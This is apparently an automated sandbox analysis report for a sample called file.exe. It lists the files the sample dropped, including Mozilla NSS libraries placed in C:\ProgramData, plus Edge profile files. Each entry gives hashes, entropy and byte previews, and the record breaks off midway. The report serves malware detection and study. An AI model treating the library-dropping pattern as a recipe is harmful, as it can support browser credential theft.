C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Unlock_Tool_v2.6.5.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\13f97844-6133-46f2-bbce-981657a1d51d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	58892
Entropy (8bit):	6.104752918550254
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynk/CBS2qX7bXwgorQXdbiR3oM:z/0+zI7ynwkS20pXdbe3
MD5:	B878C9516CCEB52C5E04537ACEB4388A
SHA1:	B4EF36017885E5888D15F74ADD0BB10E253BF55C
SHA-256:	7A526ECA14E6785455F169844839A82A9CFE9A9264D87C858ECD4C2AF357083D
SHA-512:	81EF357111E92E6C83EFC72EC34A81FE6CF9B9EFCDAC9D0307126810FA22B352EB77DC33105E56000F5F63C7053DFDCBCB2BD2113B9A5AAC87F5021A3EF9CAEF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\27e380b4-538c-43bb-8f0f-faa0dde7e834.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	58444
Entropy (8bit):	6.101669007469524
Encrypted:	false
SSDEEP:	1536:z/Ps+wsI7ynxCBS2qX7b3tPHgorQXdbiR3oM:z/0+zI7ynxkS20HtP0Xdbe3
MD5:	35F889F88F1666FE58F2BE51D338EBB1
SHA1:	3758CE3EBB9C4A13343CAB09F7F8D20E851896DB
SHA-256:	F59F3A0A834C95F1E6FC941EC2411621FDD16A1CF3C7D48161DBC359166E8E28
SHA-512:	4965DD9B57483EB922486AF77D48C578DE83DBEF12A8B633302659F80D8D756251BDBC27C7C40A2350CBF06DB09918C71004F475E25BA70649CD1CB9548767F1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\375ce239-4e36-4016-a2a9-2e9f8437369c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	60399
Entropy (8bit):	6.101659226930706
Encrypted:	false
SSDEEP:	1536:1Mk1rT8HRnVcCBS2qX7bGL90THV3ocgorQXdbi5:1MYrT8x2kS20W6TZWXdbW
MD5:	B3C7B79AFF0A9C510313D0B09D5BDE84
SHA1:	6332466AABCDF19E0360BCAC7074FFB76DBA33E3
SHA-256:	D0CA72A340F0D70A6500DFDF0A3DAB0365FFEAC9AAF29C39AEB1A254D8FA8F89
SHA-512:	F391337ED218343AFC511D4AFEC5256FCD7C7791EDCB82F1FDA3239D702C7AA53A1A64CE122729D8B4C2DC859C27DFDF4A5FFD9DD5BCD932684A261312869C2E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"d9bea936-7466-4d34-97c4-4e0923d7d046"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731939415"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\803abead-7af1-4c3f-a0a7-5a5fa4dc524e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	60476
Entropy (8bit):	6.101751446225428
Encrypted:	false
SSDEEP:	1536:1Mk1rT8Hv4VtCBS2qX7bGL90THV3ocgorQXdbi5:1MYrT8PckS20W6TZWXdbW
MD5:	FFA56D66A9A53BDEF0508BC5F6EE05B0
SHA1:	152BD60AC7FD12E16D4F4BB5B1E6E5755367BBF0
SHA-256:	BB4CAF6FC1EEAFECD6364CFF51ACADC6830D03FEF1D7F8BC3A9D15B5E232918E
SHA-512:	C690233BD9B4FBB0556F7D867E918B639065B77E86B32EE532D1AB917F70B8FA2029FF789465A1573D8873D0E8222D69B76085FB96E671887E303A03B999C134
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"d9bea936-7466-4d34-97c4-4e0923d7d046"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1731939415"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\3514eadf-9d8e-4ce4-b2a3-7fc5e063e1c4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139880887754
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7h:fwUQC5VwBIiElEd2K57P7h
MD5:	7781A0DE57A3606D285D686A487FEB1B
SHA1:	5F702CBBA11E1AF5598DBC7A253A8D382D074ECB
SHA-256:	CF32BBA9E0B08B317F4E9A5DB38CE561C8BB13D337E41DCAB38AC85720F7EF0D
SHA-512:	A185790DAFC4904EA7DD258947811D58F855DBCC6C0D8165C179DF3669B7A7D7EC792EC27FBE671EB9076717C841631928D8BC601EC90F705FE3EB9C876C9C2E
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.640139880887754
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7h:fwUQC5VwBIiElEd2K57P7h
MD5:	7781A0DE57A3606D285D686A487FEB1B
SHA1:	5F702CBBA11E1AF5598DBC7A253A8D382D074ECB
SHA-256:	CF32BBA9E0B08B317F4E9A5DB38CE561C8BB13D337E41DCAB38AC85720F7EF0D
SHA-512:	A185790DAFC4904EA7DD258947811D58F855DBCC6C0D8165C179DF3669B7A7D7EC792EC27FBE671EB9076717C841631928D8BC601EC90F705FE3EB9C876C9C2E
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673B4C51-1EF0.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04726239443451645
Encrypted:	false
SSDEEP:	192:JGHC0m5tmTnOAWpYWJPi6VBK/7+HfgHXkE7I5MEYTwgh3MNnh+zRQcD/Omj5zn8H:aC0UtIOd4BphcKVfDtz08T2RGOD
MD5:	312BA80A6BADF8EC1D35068577F5068C
SHA1:	1BB461D49B65E86C6BCC943C5B54C73332678104
SHA-256:	FCB52F1C07D37396ECDF5DA7228E2A69AED3576C747EEB4FFD34778C9C12003F
SHA-512:	22A9AA88325E7C73B96BA8B7E09166FB4CB47AF6286834060513AEED3284E7F845B1D8EE2B2E99498B2706F70B6646FE6A7F51FB7797F493969AF32941124745
Malicious:	false
Preview:	...@..@...@.....C.].....@...............xj..0Z..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".fipgvk20,1(.0..8..B.......2.:.M....U....e...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............%..................-...w..U..G...W6.>.........."....."...24.."."93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....Mb.XiP@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.........5...... .2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-673B4C52-B84.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4515952685372606
Encrypted:	false
SSDEEP:	3072:8w2jn/CA/Y0WJ/cdX8YWkvU/JjT2+QghrRy1WqhNOd4SIfng1HF:cjnNPdXJWkvUpzNRpqhNOd4SIfnaH
MD5:	AF3DEA591420AE8EB21439C27FB5ACF0
SHA1:	88299ED14F4C4CABADF3B3303C26FBDC5EE140AB
SHA-256:	BA80768E314DEA675AE39D2440C329D241CA011A136C22A5155F50C7D2050099
SHA-512:	A6393E500A3A3AF20BD437191858F14BA9DAB90748883072A617CAEB60D03FE706A04A7DB9B90AC710978CB8DF2AA726E0739E5C9585DA94E277FA9AAC6E8DFE
Malicious:	false
Preview:	...@..@...@.....C.].....@...................P...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".fipgvk20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............%..................-...w..U?:K...G...W6.>.........."....."...24.."."93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....Mb.XiP@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ .`2.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.1326399824826066
Encrypted:	false
SSDEEP:	3:FiWWltlT0EiCjG2xo6kMWPGdV8B+BVP/Sh/JzvXEAAG34tTAUFVHTtOllt:o1AGGwwMWj+BVsJDkG3V80/
MD5:	DB0B5F32DD6A247AE52AF2E9280D22D6
SHA1:	DF845EBCFC1E637F3A8674D6F24D1206637C358A
SHA-256:	20F50A96662CC19C9EA2D5C00F8FEECC0FFBD4B6290102C46CB7BB8B1B9CBFAE
SHA-512:	87962BBB3C6F8B5AE66B669B2B24C772E7CBA73C9AF57F57BF05657B5FDADB53B6DDD84914D4C465241591B26F07C61E358AC77A5E35281AE0EBFA13FA2EF14D
Malicious:	false
Preview:	sdPC.......................c.CsJ......5"93dRcxCw0cDlBQeAYE33nFACeirrSGEv1FXdrR8ueYg="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................e9a6470b-82e9-4451-b995-4e1980b580b6............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1367affd-c035-4be8-b3a9-a4f2ca119295.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17368), with no line terminators
Category:	dropped
Size (bytes):	17374
Entropy (8bit):	5.4863445675216775
Encrypted:	false
SSDEEP:	384:stkPGQSu4Ksr9iZ9neycG4pi4NbGfQwqsv:saOXue9iZcyn4bGolk
MD5:	5C70D73953619E83CD9FF385EC840D76
SHA1:	FC9550E30FF10B77F97843EA7B2576D017F485F9
SHA-256:	B5731803870BC8F4C5C819BAEE49DBD4961AB1BDDED1D05813631E45AD94D51E
SHA-512:	F5653BF6569085EB4CE02987819B271A49CE68E25EEFD505CFE307FB346CBC8C24181DC817D8E4ED3AEC0A8696DA6D493C78C4ED3128663D0A951A1A6B7EF40C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376413011247906","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\309f310a-d113-4b93-ac9b-f7a43273b93b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
